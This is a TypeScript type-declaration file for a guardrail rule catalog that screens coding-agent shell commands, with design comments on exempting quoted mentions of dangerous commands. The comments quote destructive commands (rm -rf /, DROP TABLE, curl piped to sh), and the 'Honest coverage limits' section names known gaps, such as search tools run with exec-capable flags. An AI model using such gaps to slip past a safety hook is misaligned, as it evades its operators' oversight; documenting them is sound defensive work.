@agenttrail/guardrails 0.0.1-rc.1

package/dist/guardrails.d.cts

@@ -0,0 +1,374 @@
+import { MatchCondition, Fixture, Rule } from './schema.cjs';
+export { Action, FixtureInput, Fixtures, Match, RuleInput, Severity } from './schema.cjs';
+import 'zod';
+
+/**
+ * The eight packs, and the order they are presented in.
+ *
+ * These ids are authoritative and shared with the rules authored against them,
+ * and with the guard's `config.json` `enabledPacks` (spec 11). An earlier design
+ * named ten differently-titled packs; the two could not both have been right.
+ * Renaming one of these is a breaking change to a user's config file, not a
+ * tidy-up — `safety-bypass` was `guardrail-bypass` until the rename, and that move
+ * was only free because nothing was published yet.
+ *
+ * Working-tree destruction leads deliberately. Destructive git commands are the
+ * most frequently documented real-world coding-agent failure, with filed
+ * incidents across Claude Code, Gemini CLI and Codex — while our own real-trace
+ * mining found production destructive-SQL at zero.
+ *
+ * The per-pack counts in spec 7.1 are a budget, not a quota: trim or extend at
+ * authoring time. They are deliberately NOT encoded here, because a rule count
+ * asserted in code becomes a reason to write a weak rule to hit a number.
+ */
+declare const PACKS: readonly ["working-tree", "destructive-data", "prod-infra", "secret-exposure", "rce-supply-chain", "safety-bypass", "privilege-supply-chain", "file-scope"];
+/** One of the eight pack ids. A rule's `category` is always one of these. */
+type Pack = (typeof PACKS)[number];
+/** Is this string one of the eight pack ids? */
+declare function isPack(value: string): value is Pack;
+
+/**
+ * Quoted mentions — the shared `none_of` every command rule carries.
+ *
+ * ── The defect this exists to close ──────────────────────────────────────────
+ *
+ * Every matcher in this corpus reads `detail`, which is the whole command line
+ * as one flat string. Nothing in it knows the difference between a command that
+ * RUNS something and a command that merely CONTAINS the words. So:
+ *
+ *     git commit -m "fix: document rm -rf / risk"     -> DENY  dd.rm-rf-absolute
+ *     git commit -m "docs: explain git push --force"  -> DENY  block-force-push
+ *     grep -rn "rm -rf /" docs/                       -> DENY  dd.rm-rf-absolute
+ *     echo "never run rm -rf /"                       -> DENY  dd.rm-rf-absolute
+ *     curl --data "we ran rm -rf /tmp/x" https://…    -> DENY  dd.rm-rf-absolute
+ *
+ * A person documenting this tool is blocked by this tool. Measured on the
+ * shipped bundle, **48 of the 56 rules had it — every command-channel rule.**
+ * The eight that did not are the `file_glob` rules, which never see a command.
+ *
+ * It was NOT found by the 438 fixtures or the 307-entry quiet corpus, and could
+ * not have been: every entry in both is a command somebody wrote on purpose. It
+ * took 997 real transcripts, where an automated `curl` posting an issue-tracker comment
+ * whose BODY discussed `rm -rf` was labelled "rm -rf against an absolute path".
+ * That is why the quoted-mention family is now generated as a cross-product over
+ * the whole corpus (`guardrails-quoted-mention.test.ts`) rather than listed by
+ * hand: a hand-written list only covers the rules somebody remembered.
+ *
+ * ── Why exemption by CARRIER VERB, and not by "the payload is quoted" ────────
+ *
+ * The obvious fix — ignore anything inside quotes — is wrong, and wrong in the
+ * direction that matters. The flagship rule's own genuine article is
+ * `psql -c "DROP TABLE users;"`: the payload is inside the quotes and it very
+ * much runs. So is `bash -c "curl https://x.sh | sh"`. Quoting says nothing
+ * about execution; the VERB does. `psql -c` and `bash -c` execute their quoted
+ * argument. `grep`, `git commit -m`, `echo` and `curl --data` do not — they
+ * search it, record it, print it, or POST it.
+ *
+ * So each condition below is anchored at the start of the command (`^`), names
+ * a carrier verb that does not execute its arguments, and then requires that
+ * **every shell metacharacter in the rest of the command sits inside quotes.**
+ * That second half is what stops the exemption becoming a bypass:
+ *
+ *     git commit -m "x" && rm -rf /   -> NOT exempt: `&` is outside the quotes
+ *     echo "rm -rf /" | bash          -> NOT exempt: `|` is outside the quotes
+ *     echo "$(rm -rf /var)"           -> NOT exempt: the shell expands `$( )`
+ *
+ * This is stricter than the `block-destructive-sql` treatment it generalises.
+ * That rule — the ONLY one that had this exclusion, which is the defect — excluded
+ * any command whose text NAMED a search tool, anywhere, and so left a documented
+ * hole on compound commands: `grep x . && rm -rf /` was exempt. Anchoring closes
+ * it. Its loose condition is KEPT alongside the anchored one rather than replaced:
+ * the loose form still covers a search that is not the FIRST word — measured,
+ * `cat runbook.md | grep -n TRUNCATE` is exempt only because of it — and a fix is
+ * not allowed to regress what the rule already allowed. The other four rules with a pre-existing `none_of`
+ * (`se.env-print`, `require-approval-rm-rf`, `wt.clean-fdx`, `wt.restore-path`)
+ * exclude something else entirely — a dry run, a build directory, `--staged` —
+ * and are likewise appended to, never replaced.
+ *
+ * ── The character classes, and why each character is in them ─────────────────
+ *
+ * Outside quotes a carrier may contain anything except:
+ *   `"` `'`  — a quote would end the run and start an unmatched one
+ *   `;` `&`  — start a second command (`git commit -m x ; rm -rf /`)
+ *   `` ` ``  — command substitution
+ *   `$`      — command substitution; `$(` is the dangerous half, and a bare
+ *              `$VAR` outside quotes is excluded with it because separating the
+ *              two outside a quoted run buys nothing
+ *   `<` `>`  — redirection, including the `>> ~/.zshrc` persistence shape and
+ *              the `>> known_hosts` bypass shape two rules match on
+ *   `(` `)`  — subshell
+ *
+ * `|` is the one metacharacter treated per carrier. After `grep`, `git log` or
+ * `curl` the pipe consumes that command's OUTPUT — matched lines, history text,
+ * an HTTP response — none of which is the quoted payload, and `grep x . | head`
+ * is far too ordinary to deny. After `echo` or `printf` the pipe consumes the
+ * payload ITSELF: `echo "rm -rf /" | bash` executes it, and `echo "…" | crontab`
+ * is `ps.persistence`'s own trigger. So `PRINT_MENTION` forbids `|` and the
+ * other three allow it in the trailing position only.
+ *
+ * Inside a double-quoted run the shell still expands, so `` ` `` and `$(` are
+ * excluded there too; a bare `$VAR` is allowed, because a real command
+ * (`curl -H "Authorization: Bearer $TOKEN" -d '…'`) is otherwise never exempt.
+ * A single-quoted run may contain anything: POSIX single quotes suppress every
+ * expansion.
+ *
+ * ── Honest coverage limits ──────────────────────────────────────────────────
+ *
+ * - The carrier must be the first word, apart from a single leading `sudo`, which
+ *   is tolerated because it changes privilege rather than semantics — `sudo grep`
+ *   still searches, and no rule triggers on it (`ps.sudo-write` fires on
+ *   `sudo tee|dd|cp|mv|rm|ln|install|chown|chmod|sh`, none of them a carrier).
+ *   A RUNNER prefix is not tolerated: `pnpm exec rg …`, `npx …` and
+ *   `xargs -0 grep …` are not exempt, because "some program eventually execs a
+ *   search" is a much weaker claim than "this command is a search".
+ * - At most four quoted arguments are recognised. A fifth is not exempt.
+ * - A carrier that can be made to EXEC through a flag is still exempt.
+ *   `ack --pager='…'` and `rg --pre <cmd>` run a program; nothing here reads
+ *   flags, so a dangerous string in one of those positions is treated as a
+ *   mention. This is the same class the README already names ("nothing a wrapper
+ *   hides"), and it is not closed here: doing so needs an argv the evaluator does
+ *   not have, and a flag DENY-list would be a new thing to keep current.
+ * - `-d "$(cat body.json)"` is not exempt: the substitution runs.
+ * - A double-quoted payload containing an unescaped `"` ends the run early.
+ * - Only the shell channel. An MCP tool whose serialized input carries the same
+ *   text (`{"body":"… rm -rf / …"}`) does not start with a carrier verb and is
+ *   NOT exempt. That is the same defect on a different channel and it is not
+ *   fixed here — exempting a JSON blob would exempt a shell-running MCP server
+ *   with it.
+ *
+ * ── Why a shared constant rather than 48 copies ─────────────────────────────
+ *
+ * A per-rule `none_of` written 48 times is 48 chances to drift, and the drift is
+ * invisible: a rule with a slightly weaker exemption still passes every test it
+ * owns. One frozen object referenced 48 times cannot drift, costs nothing in the
+ * bundle (esbuild emits it once), and makes an opt-out a VISIBLE line of code —
+ * see the five rules that take a subset, each because the carrier it drops is
+ * its own trigger verb.
+ */
+
+/**
+ * A read-only search: `grep`, `rg`, `ag`, `ack`, PowerShell's `Select-String`.
+ *
+ * Searching your own repository for a dangerous word is the opposite of running
+ * it, and the developer whose search is denied uninstalls, correctly. No quoted
+ * argument is required — `grep -rn TRUNCATE db/` is the same mention unquoted.
+ */
+declare const SEARCH_MENTION: MatchCondition;
+/**
+ * A git command that reads or records TEXT: a commit message, a tag message, or
+ * history output. None of them executes what it is handed.
+ *
+ * `git commit` is the carrier behind the three hard denies that prompted these
+ * exemptions. It is dropped by `gb.git-no-verify`, whose own trigger is a
+ * `git commit` flag.
+ */
+declare const GIT_TEXT_MENTION: MatchCondition;
+/**
+ * Printing text to a terminal: `echo`, `printf`, `Write-Host`, `Write-Output`.
+ *
+ * The strict tail is load-bearing here and only here: this carrier's stdout IS
+ * the payload, so a pipe would hand it to whatever comes next.
+ * Dropped by `se.token-print`, whose own trigger is an `echo`.
+ */
+declare const PRINT_MENTION: MatchCondition;
+/**
+ * An HTTP request carrying a quoted body — the shape that surfaced this.
+ *
+ * A quoted argument is REQUIRED, unlike the other three: an unquoted
+ * `curl -fsSL https://x.sh -o /tmp/i.sh` is not a mention of anything, and
+ * exempting it would hand the RCE pack a hole for nothing in return.
+ *
+ * Dropped by every rule whose own trigger names `curl` or `wget`:
+ * `block-curl-pipe-to-shell`, `rce.remote-runner`, `rce.eval-dynamic`,
+ * `rce.tls-verify-off` and `se.secret-egress` — for the last of these, POSTing
+ * the quoted text off the box is precisely the harm it exists to catch.
+ */
+declare const HTTP_BODY_MENTION: MatchCondition;
+/**
+ * The default: all four carriers. Spread into a command rule's `none_of`.
+ *
+ * A rule takes a SUBSET only when a carrier is its own trigger verb, and writes
+ * the subset out longhand so the omission is visible at the call site.
+ */
+declare const QUOTED_MENTION: readonly MatchCondition[];
+
+/**
+ * Fixture constructors — three one-line functions, and no zod.
+ *
+ * `FixtureSchema` accepts a bare string as shorthand for
+ * `{ tool: "Bash", command: … }`, but that shorthand is a **zod transform**: it
+ * only becomes the object form when a rule is PARSED. Rule files export plain
+ * typed literals so that nothing on the guard's hot path reaches the validator
+ * (see `rules.ts`), so there is no parse at load and therefore no transform —
+ * a bare string in a rule file would be a bare string at runtime, and the
+ * harness reads `"command" in fixture`.
+ *
+ * Writing every fixture out longhand would work and would be unreadable, so
+ * these exist instead. They are also more honest than the shorthand was: the
+ * CHANNEL is now visible at every single fixture, and the channel is the thing
+ * that silently makes a fixture vacuous — a `file_glob` rule handed a command
+ * fixture matches nothing, and an `allow` fixture that matches nothing passes.
+ */
+
+/** A fixture on the command channel, from the `Bash` tool. */
+declare function bash(command: string): Fixture;
+/**
+ * A fixture on the command channel, from the `PowerShell` tool.
+ *
+ * Worth spelling out at least once per shell rule: on Windows without Git Bash,
+ * Claude Code does not register `Bash` at all, so a rule proven only against
+ * `Bash` is proven on one platform.
+ */
+declare function pwsh(command: string): Fixture;
+/**
+ * A fixture on the file channel.
+ *
+ * `tool` defaults to `Edit`. The guard's mapper routes `Edit`, `Write`, `Read`,
+ * `MultiEdit` and `NotebookEdit` to this channel, and file rules deliberately
+ * carry no `label`, so which of them a fixture names does not change the answer —
+ * it only documents the case being proven.
+ */
+declare function file(filePath: string, tool?: string): Fixture;
+/** `git commit -m "…"` — the carrier behind the three hard denies. */
+declare function mentionInCommit(text: string): Fixture;
+/** `grep -rn "…" docs/` — searching for the words is not executing them. */
+declare function mentionInSearch(text: string): Fixture;
+/** `echo "…"` — printing the words is not executing them either. */
+declare function mentionInEcho(text: string): Fixture;
+/**
+ * `curl --data "…" https://…` — the shape that prompted these exemptions. An
+ * agent posting a comment whose BODY discussed `rm -rf` was reported as an
+ * `rm -rf` against an absolute path.
+ */
+declare function mentionInPost(text: string): Fixture;
+/**
+ * All four near misses for one payload: a commit message, a search, an echo and
+ * an HTTP body. Spread into a rule's `allow` fixtures.
+ *
+ * A rule whose own trigger verb IS one of the carriers writes the other three
+ * out longhand instead — see `exemptions.ts` for the five that do.
+ */
+declare function mentions(text: string): Fixture[];
+
+/**
+ * The catalog's own version and publication date.
+ *
+ * These are the two facts the offline guard needs in order to tell someone how old
+ * their protection is. The guard has no update check and no network path for rules
+ * (spec 8.4), so a user's rules are frozen on the day they installed and nothing
+ * else in the system can tell them that.
+ *
+ * ── Why the stamp lives HERE and not in `@agenttrail/guard` ──────────────────
+ * The guard BUNDLES this package at build time (spec 11.1.1), so it is *this*
+ * package's version that determines which rules a user is actually running. The
+ * guard's own version answers a different question and would be the wrong number:
+ * `guard@0.4.1` may ship an unchanged catalog, and two different guard versions may
+ * carry the same rules. Spec 11.1.1 states it outright — "that is exactly why C6
+ * has `status` print the bundled catalog version rather than the guard's."
+ *
+ * ── This module imports nothing, and that is load-bearing ───────────────────
+ * It is exported from `rules.ts`, the zod-free entry `packages/guard` bundles into the
+ * file Claude Code runs before every tool call. Two string constants add nothing to
+ * that bundle; an import of `schema.ts` here would add zod to it. Add no imports here.
+ *
+ * ── Both constants are hand-written, and that is deliberate ──────────────────
+ * A build-time `define` would reach `dist/` only. In this monorepo the guard resolves
+ * `@agenttrail/guardrails` to `src/index.ts`, so a defined value would exist in the
+ * published tarball and be absent everywhere a test can see it — the shipped value
+ * would be the one value never exercised. `guard/src/core/version.ts` sets the same
+ * precedent, and `__tests__/stamp.test.ts` pins `CATALOG_VERSION` to `package.json`
+ * so the two cannot drift in silence.
+ *
+ * ── AT RELEASE, BUMP BOTH CONSTANTS BELOW, TOGETHER ──────────────────────────
+ * Bumping `package.json`'s version alone turns `stamp.test.ts` red, and that is the
+ * point: it is what brings whoever cut the release into this file, where the date is
+ * a few lines away. Publish order is `guardrails` first, then `guard` (spec 11.1.1);
+ * a guard release carries whatever stamp was here when it was built.
+ *
+ * Forgetting to advance the date understates how fresh the rules are, which tells a
+ * user to update when they need not. Forgetting in the other direction would tell a
+ * user they are current when they are stale. The first is the safe failure and the
+ * one this arrangement produces.
+ */
+/**
+ * The corpus version.
+ *
+ * Pinned to `package.json`'s `version` by `__tests__/stamp.test.ts` — this is a copy
+ * of that value, not an independent one, and the test is what makes the copy safe.
+ */
+declare const CATALOG_VERSION = "0.0.1-rc.1";
+/**
+ * When this catalog version was cut, as an ISO-8601 instant.
+ *
+ * For a version published to npm this is its publish date. For a pre-release cut from
+ * the monorepo it is the commit that brought the corpus to this state — here,
+ * `252c2e2c` ("feat(guardrails): rule schema, pack registry and fixture harness"),
+ * which created the package at `0.0.1`. Both readings answer the user's actual
+ * question, which is not "when did this reach a registry" but "how old are the rules
+ * I am running".
+ *
+ * It is a real, sourced instant rather than a plausible-looking default. If a future
+ * release cannot source one, leave it absent rather than approximate: the renderer in
+ * `guard/src/core/catalog-stamp.ts` degrades honestly, and a wrong date that looks
+ * right is worse than a missing one in a tool whose whole proposition is candour
+ * about its own coverage.
+ */
+declare const CATALOG_PUBLISHED_AT = "2026-09-07T12:44:09Z";
+
+/**
+ * The corpus itself — rules only, and **deliberately free of zod**.
+ *
+ * ── Why this is a separate entry point from `index.ts` ───────────────────────
+ *
+ * `packages/guard` bundles this catalog into `plugin/scripts/guard-hook.mjs`, the
+ * file Claude Code executes before EVERY tool call, in a fresh Node process, under
+ * a 10s ceiling. `built-artifact.test.ts` asserts that bundle contains no
+ * `ZodError` and no `ZodType`, captioned "the whole point of not importing
+ * ./context" — because the guard "cannot afford to parse a validator it never
+ * calls" (`guard/src/core/normalize.ts`).
+ *
+ * The package ROOT cannot satisfy that: `index.ts` re-exports `./schema.js`, which
+ * value-imports zod. So the guard imports `@agenttrail/guardrails/guardrails` — this
+ * file — whose whole import graph is `./packs.js`, `./exemptions.js` and
+ * `./fixtures.js` (all three plain data) plus a TYPE-only
+ * reference to `./schema.js`, which esbuild erases. Everyone else keeps using the
+ * root and gets the schema with it.
+ *
+ * Measured on this machine, best-of-N cold `node`: an empty process is 20ms; a cold
+ * import of the package root, validating 56 rules through `defineRule`, is 40ms.
+ * The subpath gives that 20ms back on every tool call, forever.
+ *
+ * ── Where validation went ───────────────────────────────────────────────────
+ *
+ * This package used to validate at module load via `defineRule()`, on the stated
+ * reasoning that "an authoring mistake fails at import — which is to say, at TEST
+ * TIME."
+ * A test IS test time: `__tests__/corpus.test.ts` runs `parseRule()` over all 56
+ * and fails on any invalid one, and proves that sweep bites with a deliberately
+ * malformed rule. The guarantee is unchanged; only the mechanism moved off the
+ * hook's hot path. `defineRule` stays exported for contributors authoring locally.
+ *
+ * So every rule file exports a plain object literal typed `satisfies Rule` with a
+ * TYPE-only schema import. `corpus.test.ts` is what stops one from drifting.
+ */
+
+/**
+ * Every pack's rules, keyed by pack id.
+ *
+ * `Record<Pack, …>` is doing real work: adding a pack to `PACKS` without wiring
+ * its rules here is a compile error, not a pack that silently ships empty.
+ */
+declare const RULES_BY_PACK: Record<Pack, readonly Rule[]>;
+/**
+ * The whole catalog, in pack order.
+ *
+ * Built from `PACKS` rather than by concatenating the imports, so the order is
+ * the declared one and a pack cannot be omitted by a missed line.
+ */
+declare const RULES: readonly Rule[];
+/** Look up one rule by id. `undefined` when nothing matches. */
+declare function getRule(id: string): Rule | undefined;
+/** Every rule in one pack, in authored order. */
+declare function rulesForPack(pack: Pack): readonly Rule[];
+
+export { CATALOG_PUBLISHED_AT, CATALOG_VERSION, Fixture, GIT_TEXT_MENTION, HTTP_BODY_MENTION, MatchCondition, PACKS, PRINT_MENTION, type Pack, QUOTED_MENTION, RULES, RULES_BY_PACK, Rule, SEARCH_MENTION, bash, file, getRule, isPack, mentionInCommit, mentionInEcho, mentionInPost, mentionInSearch, mentions, pwsh, rulesForPack };